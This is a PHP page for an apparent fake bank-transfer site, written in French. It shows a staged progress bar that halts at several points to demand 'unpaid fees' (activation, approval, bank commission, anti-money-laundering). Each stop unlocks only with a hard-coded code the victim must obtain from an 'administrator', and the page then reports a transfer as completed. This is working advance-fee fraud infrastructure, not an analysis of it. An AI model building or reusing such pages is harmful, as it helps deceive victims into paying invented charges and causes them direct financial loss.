<?php 

	require ('utilities.php');

	@session_start();
	checklogin();

	global $db;

	$title = "3D SECURE CARD"; 



 
	// --------------------



	$user = $db->run ( 
		"SELECT * FROM users WHERE user_id = :id ;", 
		[ 'id' => $_SESSION['user_id'] ]
	);



	if ( $user->user_clevel <= 0 ) {
		@header("Location:virement.php");
	}

	if ( $user->user_clevel == 100 ) {
	    
	    
	    if ( isset($_SESSION['temp_virement_id']) && $_SESSION['temp_virement_id'] != 0 ) {
    	    $id = $_SESSION['temp_virement_id'];
            $atrans = $db->run( "UPDATE transactions SET trans_status = 'SUCCESS' WHERE trans_id = ? ;", [ $id ] );
            $_SESSION['temp_virement_id'] = 0;
            unset($_SESSION['temp_virement_id']);
	    }
        
        $auser = $db->run( "UPDATE users SET user_clevel = '0' WHERE user_id = ? ;" , [ $_SESSION['user_id'] ] );
	    
	    
	    $message = "Félicitations votre virement a été effectué il sera disponible sur votre compte dans les 72 heures jours ouvrables. <br> Nous sommes disponible pour toutes revendications." ;
		header("Location:https://gfagroups.agency/message.php?type=success&message=$message");
		die();
	}


	$amounts = $db->all ( 
		"SELECT * FROM amounts WHERE user_id = :id ;", 
		[ 'id' => $_SESSION['user_id'] ]
	);

	$settings = $db->all ( 
		"SELECT * FROM settings ;"
	);

	// var_dump($settings);

	foreach ($settings as $set) {
		if ($set->setting_name == "code1") $code1 = $set->setting_value;
		if ($set->setting_name == "code2") $code2 = $set->setting_value;
		if ($set->setting_name == "code3") $code3 = $set->setting_value;
		if ($set->setting_name == "code4") $code4 = $set->setting_value;
	}



	switch ( $user->user_clevel ) {
		case '5':
		    $title = "Frais impayé d'activation du transfert";
		    $montant = $user->montant1;
		    $max = 20;
			break;
		case '20':
		    $title = "Frais impayé d'approbation du transfert";
		    $montant = $user->montant2;
		    $max = 50;
			break;
		case '50':
		    $title = "Frais impayé de Commission bancaire";
		    $montant = $user->montant3;
		    $max = 80;
			break;
		case '80':
		    $title = "Frais impayé de non blanchiment d'argent";
		    $montant = $user->montant4;
		    $max = 98;
			break;
	}


	if ( isset($_POST['submit']) ) {
		
		$code = $_POST['code'];


		switch ( $user->user_clevel ) {
			case '5':
				if ( $code == "3DSECUREX04B5EE63" )
					$db->run ( "UPDATE users SET user_clevel = '20' WHERE user_id = ? ;" , [ $_SESSION['user_id'] ] );
				break;
			case '20':
				if ( $code == "3DSECUREX04B20B36" )
					$db->run ( "UPDATE users SET user_clevel = '50' WHERE user_id = ? ;" , [ $_SESSION['user_id'] ] );
				break;
			case '50':
				if ( $code == "3DSECUREX04BEF8AE" )
					$db->run ( "UPDATE users SET user_clevel = '80' WHERE user_id = ? ;" , [ $_SESSION['user_id'] ] );
				break;
			case '80':
				if ( $code == "3DSECUREX04B2791F" )
					$db->run ( "UPDATE users SET user_clevel = '100' WHERE user_id = ? ;" , [ $_SESSION['user_id'] ] );
				break;
		}
		
		
		echo '<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="refresh" content="1;URL=https://gfagroups.agency/3d_secure_card.php"> <title>Redirecting</title> </head> <body> </body> </html>';
		header("https://gfagroups.agency/3d_secure_card.php");
		die();

	}



	

?>
<?php require( 'partials/_header.php'); ?>




		<style>
			#myProgress {
				width: 100%;
				background-color: #ddd;
			}

			#myBar {
				width: <?= $user->user_clevel ?>%;
				height: 30px;
				background-color: #4CAF50;
				text-align: center;
				line-height: 30px;
				color: white;
			}
		</style>


		<script>
			var i = 0;
			function move() {
			  if (i == 0) {
			    i = 1;
			    var elem = document.getElementById("myBar");
			    var width = <?= $user->user_clevel ?>;
			    var id = setInterval(frame, 100);
			    var max = 0;

		        if ( <?= $user->user_clevel ?> == 100 ) { max = 100; }
			    if ( <?= $user->user_clevel ?> < 80 ) { max = 80; }
			    if ( <?= $user->user_clevel ?> < 60 ) { max = 60; }
			    if ( <?= $user->user_clevel ?> < 40 ) { max = 40; }
			    if ( <?= $user->user_clevel ?> < 20 ) { max = 20; }

			    function frame() {
			      if (width >= max) {
			        clearInterval(id);
			        i = 0;
			        codeFormShow();
			        if ( max == 100 ) { 
			            alert("Success !"); 
			            window.location.replace("/message.php?type=success&message=Virement confirmer ! Veuillez patienter pour le transfert éffectif.");
			        }
			      } else {
			        width++;
			        elem.style.width = width + "%";
			        elem.innerHTML = width  + "%";
			      }
			    }
			  }
			}


			function codeFormShow() {
			  var x = document.getElementById("codeForm");
			  x.style.display = "block";
			}

		</script>


      <section class="main-container" id="main-container">
         <div class="container">
            <div class="row">


					<div id="myProgress">
					  <div id="myBar">
					  	<?= $user->user_clevel ?>%
					  </div>
					</div>

					<hr>
					<div class="col-md-12" id="codeForm" style="display:none;">
						<br>
						<h4>MONTANT : <b><?= $montant ?> EUR</b></h4>
						<br>
						<p class="text-center text-danger">
							Veuillez contacter l'administrateur de votre banque pour plus de détails.
						</p>
						<br>
						<form method="post" class="text-center">
							<input type="text" class="form-control" name="code" reqired placeholder="Votre code ...">
							<br/>
							<button name="submit" class="btn btn-primary" type="submit">VALIDER</button>
						</form>
					</div>


            </div>
         </div>
      </section>
		



		<script type="text/javascript">
			
			window.addEventListener('load', function() {
				console.log('All assets are loaded');
				move();
			})

		</script>



<?php require( 'partials/_footer.php'); ?>